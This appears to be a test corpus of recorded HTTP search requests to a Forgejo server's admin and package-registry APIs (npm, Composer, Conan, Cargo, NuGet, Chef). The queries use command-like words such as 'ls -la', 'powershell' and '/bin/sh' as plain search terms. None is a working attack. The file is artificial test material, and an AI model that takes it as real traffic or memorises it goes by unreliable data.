{"method": "GET", "target": "/api/v1/admin/emails/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=alice", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Fpython3-app", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Flegacy-site", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=v1.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
# The package registries' searches, sent to Forgejo 17.0.1 by each registry's
|
|
||||||
# own client: npm, composer, conan 2 and 1, cargo, dotnet and knife. curl sent
|
|
||||||
# the requests no client sends: the Chef cookbook list with a search, and
|
|
||||||
# NuGet's Packages() with the search in $filter, as NuGet's client builds it for
|
|
||||||
# a feed without Search(). curl also sent each NuGet Search() and Packages()
|
|
||||||
# search to Search()/$count and Packages()/$count, which count its results. Each
|
|
||||||
# searches for words that name commands and files, such as python3 and
|
|
||||||
# .htaccess, and for plain words. A Composer, Conan or npm name can hold a
|
|
||||||
# slash, so those searches are also sent /bin/sh.
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=python3&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=powershell&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=ls+-la&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=.htaccess&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=tools&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=python3", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=powershell", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=ls+-la", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=python3", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=powershell", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=ls+-la", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=tools", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: bc433449-14e0-4cb0-907b-fcca1ead302b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: e691cf8b-1859-45b1-aa67-e0987eb7474a", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 725a8ab1-a2c3-4924-84dd-a741bd6b8c07", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 5b1d333f-6583-4f78-9c23-d776ebbde5cf", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 23a81a25-0828-4311-8d2d-66f0d5161b6b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: ebf39a79-969d-4ac5-b5a0-5119c2d43ccc", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 825cbe04-63e7-414a-8394-2ecf74c68211", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: f61bfff6-1c26-4024-bc17-6b78dcef2edc", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: e894f984-8abf-4a23-960a-d1a09c94eaa3", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 33e3aa1b-14cb-4854-821a-c3eb9e5be7ee", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: c478a564-7cf9-4282-9f00-bf5b7966607d", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 8dfa5583-4005-4134-9343-ddb4c68c125b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: e7210054-9f40-4a58-8228-beeab1e3bb05", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 0f3b26a8-7ca2-4b52-a9bb-c23a25c4172c", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: d0fa60d5-6948-4149-845f-e38d340cc09a", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 8c22d5d2-1691-4488-89ca-a405dd7a15cc", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 0a1bd4b1-0009-4d1d-931d-d1c19b26dd8b", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: f858e4b5-10bc-4633-a517-f165a65ac4cb", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
